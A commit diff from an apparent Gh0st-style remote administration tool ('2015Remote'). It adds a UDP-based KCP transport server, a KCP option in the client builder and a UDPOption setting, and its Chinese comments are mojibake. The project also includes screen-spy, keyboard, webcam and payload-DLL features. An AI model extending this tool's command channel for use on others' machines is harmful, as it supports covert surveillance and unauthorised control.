Feature: Implement KCP protocol - based on UDP
This commit is contained in:
@@ -178,7 +178,10 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
Delete();
|
||||
__try{
|
||||
Delete();
|
||||
}__except(EXCEPTION_EXECUTE_HANDLER){
|
||||
}
|
||||
|
||||
SAFE_DELETE(m_iniFile);
|
||||
|
||||
|
||||
@@ -12,6 +12,7 @@
|
||||
#include "common/iniFile.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "IOCPUDPServer.h"
|
||||
#include "IOCPKCPServer.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||
@@ -25,7 +26,9 @@ private:
|
||||
Server* m_tcpServer;
|
||||
Server* m_udpServer;
|
||||
public:
|
||||
ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {}
|
||||
ServerPair(int method=0) :
|
||||
m_tcpServer(new IOCPServer),
|
||||
m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {}
|
||||
virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); }
|
||||
|
||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||
@@ -78,13 +81,14 @@ public:
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
|
||||
// nPortʾ<74><CABE>: 6543;7543
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn) {
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method) {
|
||||
bool succeed = false;
|
||||
auto list = StringToVector(uPort, ';');
|
||||
auto methods = StringToVector(method, ';', list.size());
|
||||
for (int i=0; i<list.size(); ++i)
|
||||
{
|
||||
int port = std::atoi(list[i].c_str());
|
||||
auto svr = new ServerPair();
|
||||
auto svr = new ServerPair(atoi(methods[i].c_str()));
|
||||
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
|
||||
if (ret == FALSE) {
|
||||
SAFE_DELETE(svr);
|
||||
|
||||
Binary file not shown.
@@ -591,7 +591,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
|
||||
Mprintf("===> '%s' already exist!!\n", strIP);
|
||||
return;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -927,7 +927,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
|
||||
}
|
||||
if (!Activate(nPort, m_nMaxConnection)){
|
||||
const std::string method = THIS_CFG.GetStr("settings", "UDPOption");
|
||||
if (!Activate(nPort, m_nMaxConnection, method)){
|
||||
OnCancel();
|
||||
return FALSE;
|
||||
}
|
||||
@@ -1552,10 +1553,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
||||
continue;
|
||||
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("无"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送获得驱动器列表数据包
|
||||
ContextObject->Send2Client(szBuffer, ulLength);
|
||||
}
|
||||
@@ -1682,10 +1680,10 @@ std::vector<std::string> splitByNewline(const std::string& input) {
|
||||
return lines;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
|
||||
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
|
||||
{
|
||||
UINT ret = 0;
|
||||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection)) !=0 )
|
||||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 )
|
||||
{
|
||||
Mprintf("======> StartServer Failed \n");
|
||||
char cmd[200];
|
||||
@@ -1712,7 +1710,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
|
||||
auto cmd = std::string("taskkill /f /pid ") + line;
|
||||
exec(cmd.c_str());
|
||||
}
|
||||
return Activate(nPort, nMaxConnection);
|
||||
return Activate(nPort, nMaxConnection, method);
|
||||
}
|
||||
}else
|
||||
MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()));
|
||||
@@ -2114,6 +2112,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
||||
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
|
||||
|
||||
// 回复心跳
|
||||
// if(0)
|
||||
{
|
||||
HeartbeatACK ack = { hb.Time };
|
||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||
|
||||
@@ -169,7 +169,7 @@ public:
|
||||
VOID CreateNotifyBar();
|
||||
VOID CreateSolidMenu();
|
||||
int m_nMaxConnection;
|
||||
BOOL Activate(const std::string& nPort,int nMaxConnection);
|
||||
BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method);
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
|
||||
@@ -252,6 +252,7 @@
|
||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||
<ClInclude Include="..\..\common\aes.h" />
|
||||
<ClInclude Include="..\..\common\encrypt.h" />
|
||||
<ClInclude Include="..\..\common\ikcp.h" />
|
||||
<ClInclude Include="..\..\common\iniFile.h" />
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
@@ -273,6 +274,7 @@
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
@@ -317,6 +319,12 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\ikcp.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
@@ -335,6 +343,7 @@
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
|
||||
@@ -50,6 +50,8 @@
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="CDrawingBoard.cpp" />
|
||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||
<ClCompile Include="..\..\common\ikcp.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -112,6 +114,8 @@
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
<ClInclude Include="..\..\common\ikcp.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
|
||||
@@ -269,6 +269,8 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboProto.InsertString(PROTO_TCP, "TCP");
|
||||
m_ComboProto.InsertString(PROTO_UDP, "UDP");
|
||||
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
|
||||
m_ComboProto.InsertString(PROTO_HTTPS, "---");
|
||||
m_ComboProto.InsertString(PROTO_KCP, "KCP");
|
||||
m_ComboProto.SetCurSel(PROTO_TCP);
|
||||
|
||||
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");
|
||||
|
||||
226
server/2015Remote/IOCPKCPServer.cpp
Normal file
226
server/2015Remote/IOCPKCPServer.cpp
Normal file
@@ -0,0 +1,226 @@
|
||||
#include "stdafx.h"
|
||||
#include "IOCPKCPServer.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
IUINT32 IOCPKCPServer::iclock() {
|
||||
static LARGE_INTEGER freq = {};
|
||||
static BOOL useQpc = QueryPerformanceFrequency(&freq);
|
||||
if (useQpc) {
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
return (IUINT32)(1000 * now.QuadPart / freq.QuadPart);
|
||||
}
|
||||
else {
|
||||
return GetTickCount();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket) {
|
||||
char buf[64];
|
||||
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
|
||||
std::string key = buf;
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end()) {
|
||||
return it->second;
|
||||
}
|
||||
|
||||
// <20>½<EFBFBD> CONTEXT_KCP
|
||||
CONTEXT_KCP* ctx = new CONTEXT_KCP();
|
||||
ctx->InitMember(sClientSocket, this);
|
||||
ctx->clientAddr = addr;
|
||||
|
||||
// <20><>ʼ<EFBFBD><CABC> kcp
|
||||
IUINT32 conv = KCP_SESSION_ID;
|
||||
ctx->kcp = ikcp_create(conv, ctx);
|
||||
|
||||
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
|
||||
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
|
||||
WSABUF wsaBuf = { len, (CHAR*)buf };
|
||||
DWORD sent = 0;
|
||||
// <20><><EFBFBD><EFBFBD>ctx<74>洢<EFBFBD><E6B4A2>IP<49>˿ڷ<CBBF><DAB7><EFBFBD>
|
||||
// ע<>⣺Ҫ<E2A3BA><D2AA>֤ ctx <20><>Ӧ<EFBFBD>ͻ<EFBFBD><CDBB>˵<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD> sClientSocket <20><>ȷ
|
||||
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
|
||||
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
|
||||
if (ret == SOCKET_ERROR) {
|
||||
DWORD err = WSAGetLastError();
|
||||
// <20><><EFBFBD>Դ<EFBFBD>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
};
|
||||
|
||||
ikcp_nodelay(ctx->kcp, 1, 10, 2, 1);
|
||||
ikcp_wndsize(ctx->kcp, 128, 128);
|
||||
|
||||
m_clients[key] = ctx;
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||
if (m_running) return 1;
|
||||
|
||||
m_port = uPort;
|
||||
m_notify = NotifyProc;
|
||||
m_offline = OffProc;
|
||||
|
||||
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (m_socket == INVALID_SOCKET) return 2;
|
||||
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(uPort);
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
|
||||
|
||||
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
|
||||
if (!m_hIOCP) return 4;
|
||||
|
||||
m_running = true;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>IOCP<43><50><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
|
||||
((IOCPKCPServer*)param)->WorkerThread();
|
||||
return 0;
|
||||
}, this, 0, NULL);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>KCP<43><50>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
|
||||
|
||||
Mprintf("IOCPKCPServer StartServer: %p\n", this);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void IOCPKCPServer::WorkerThread() {
|
||||
char buf[1500];
|
||||
sockaddr_in clientAddr;
|
||||
int addrLen = sizeof(clientAddr);
|
||||
|
||||
while (m_running) {
|
||||
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
|
||||
if (ret > 0) {
|
||||
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
|
||||
if (ctx && ctx->kcp) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
ikcp_input(ctx->kcp, buf, ret);
|
||||
}
|
||||
|
||||
char recvbuf[4096];
|
||||
int n = 0;
|
||||
do {
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
|
||||
}
|
||||
if (n > 0&& m_notify) {
|
||||
memcpy(ctx->szBuffer, recvbuf, n);
|
||||
BOOL ret = ParseReceivedData(ctx, n, m_notify);
|
||||
}
|
||||
}while (n>0);
|
||||
}
|
||||
}
|
||||
else {
|
||||
DWORD err = WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
|
||||
// <20><>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
}
|
||||
Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this);
|
||||
}
|
||||
|
||||
void IOCPKCPServer::KCPUpdateLoop() {
|
||||
while (m_running) {
|
||||
IUINT32 current = iclock();
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
CONTEXT_KCP* ctx = kv.second;
|
||||
if (ctx && ctx->kcp) {
|
||||
ikcp_update(ctx->kcp, current);
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||
if (!ContextObject || !ContextObject->kcp) return;
|
||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
|
||||
return;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
|
||||
ikcp_send(ContextObject->kcp,
|
||||
(const char*)ContextObject->OutCompressedBuffer.GetBuffer(),
|
||||
(int)ContextObject->OutCompressedBuffer.GetBufferLength());
|
||||
ikcp_flush(ContextObject->kcp);
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPKCPServer::Destroy() {
|
||||
Mprintf("IOCPKCPServer Destroy: %p\n", this);
|
||||
|
||||
m_running = false;
|
||||
|
||||
if (m_socket != INVALID_SOCKET) {
|
||||
closesocket(m_socket);
|
||||
m_socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (m_hThread) {
|
||||
WaitForSingleObject(m_hThread, INFINITE);
|
||||
CloseHandle(m_hThread);
|
||||
m_hThread = NULL;
|
||||
}
|
||||
|
||||
if (m_kcpUpdateThread.joinable())
|
||||
m_kcpUpdateThread.join();
|
||||
|
||||
if (m_hIOCP) {
|
||||
CloseHandle(m_hIOCP);
|
||||
m_hIOCP = NULL;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>пͻ<D0BF><CDBB><EFBFBD>
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
if (kv.second) {
|
||||
if (kv.second->kcp) {
|
||||
ikcp_release(kv.second->kcp);
|
||||
kv.second->kcp = nullptr;
|
||||
}
|
||||
delete kv.second;
|
||||
}
|
||||
}
|
||||
m_clients.clear();
|
||||
}
|
||||
|
||||
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx) {
|
||||
if (!ctx) return;
|
||||
|
||||
std::string key = ctx->PeerName;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end()) {
|
||||
if (it->second == ctx) {
|
||||
if (m_offline) m_offline(ctx);
|
||||
if (ctx->kcp) {
|
||||
ikcp_release(ctx->kcp);
|
||||
ctx->kcp = nullptr;
|
||||
}
|
||||
delete ctx;
|
||||
m_clients.erase(it);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
67
server/2015Remote/IOCPKCPServer.h
Normal file
67
server/2015Remote/IOCPKCPServer.h
Normal file
@@ -0,0 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include "Server.h"
|
||||
|
||||
class CONTEXT_KCP : public CONTEXT_OBJECT {
|
||||
public:
|
||||
int addrLen = 0;
|
||||
sockaddr_in clientAddr = {};
|
||||
CONTEXT_KCP() {
|
||||
}
|
||||
virtual ~CONTEXT_KCP() {
|
||||
}
|
||||
std::string GetProtocol() const override {
|
||||
return "KCP";
|
||||
}
|
||||
VOID InitMember(SOCKET s, Server* svr) override {
|
||||
CONTEXT_OBJECT::InitMember(s, svr);
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
void Destroy() override {
|
||||
}
|
||||
virtual std::string GetPeerName() const override {
|
||||
char client_ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
|
||||
return client_ip;
|
||||
}
|
||||
virtual int GetPort() const override {
|
||||
int client_port = ntohs(clientAddr.sin_port);
|
||||
return client_port;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPKCPServer : public Server {
|
||||
public:
|
||||
IOCPKCPServer(){}
|
||||
virtual ~IOCPKCPServer(){}
|
||||
|
||||
virtual int GetPort() const override { return m_port; }
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||
virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
virtual void Destroy() override;
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
|
||||
|
||||
private:
|
||||
SOCKET m_socket = INVALID_SOCKET;
|
||||
HANDLE m_hIOCP = NULL;
|
||||
HANDLE m_hThread = NULL;
|
||||
bool m_running = false;
|
||||
USHORT m_port = 0;
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
|
||||
std::mutex m_contextsMutex;
|
||||
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
|
||||
|
||||
std::thread m_kcpUpdateThread;
|
||||
|
||||
CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket);
|
||||
|
||||
void WorkerThread();
|
||||
|
||||
void KCPUpdateLoop();
|
||||
|
||||
static IUINT32 iclock();
|
||||
};
|
||||
@@ -9,6 +9,7 @@
|
||||
#define XXH_INLINE_ALL
|
||||
#include "xxhash.h"
|
||||
#include <WS2tcpip.h>
|
||||
#include <common/ikcp.h>
|
||||
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
@@ -309,7 +310,12 @@ public:
|
||||
typedef class CONTEXT_OBJECT : public context
|
||||
{
|
||||
public:
|
||||
virtual ~CONTEXT_OBJECT(){}
|
||||
virtual ~CONTEXT_OBJECT(){
|
||||
if (kcp) {
|
||||
ikcp_release(kcp);
|
||||
kcp = nullptr;
|
||||
}
|
||||
}
|
||||
CString sClientInfo[ONLINELIST_MAX];
|
||||
CString additonalInfo[RES_MAX];
|
||||
SOCKET sClientSocket;
|
||||
@@ -330,6 +336,7 @@ public:
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ikcpcb* kcp = nullptr; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>KCP<43>Ự
|
||||
|
||||
std::string GetProtocol() const override {
|
||||
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
||||
|
||||
@@ -21,6 +21,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
|
||||
, m_sPublicIP(_T(""))
|
||||
, m_sUdpOption(_T(""))
|
||||
{
|
||||
}
|
||||
|
||||
@@ -49,6 +50,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
|
||||
DDV_MaxChars(pDX, m_sPublicIP, 100);
|
||||
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
|
||||
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
|
||||
DDV_MaxChars(pDX, m_sUdpOption, 24);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
@@ -70,6 +74,7 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||||
m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
m_sUdpOption = THIS_CFG.GetStr("settings", "UDPOption", "").c_str();
|
||||
|
||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||
|
||||
@@ -132,6 +137,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
UpdateData(TRUE);
|
||||
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
|
||||
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
|
||||
THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString());
|
||||
|
||||
int n = m_ComboScreenCapture.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "DXGI", n);
|
||||
|
||||
@@ -40,4 +40,6 @@ public:
|
||||
CString m_sPublicIP;
|
||||
afx_msg void OnBnClickedRadioAllScreen();
|
||||
afx_msg void OnBnClickedRadioMainScreen();
|
||||
CEdit m_EditUdpOption;
|
||||
CString m_sUdpOption;
|
||||
};
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user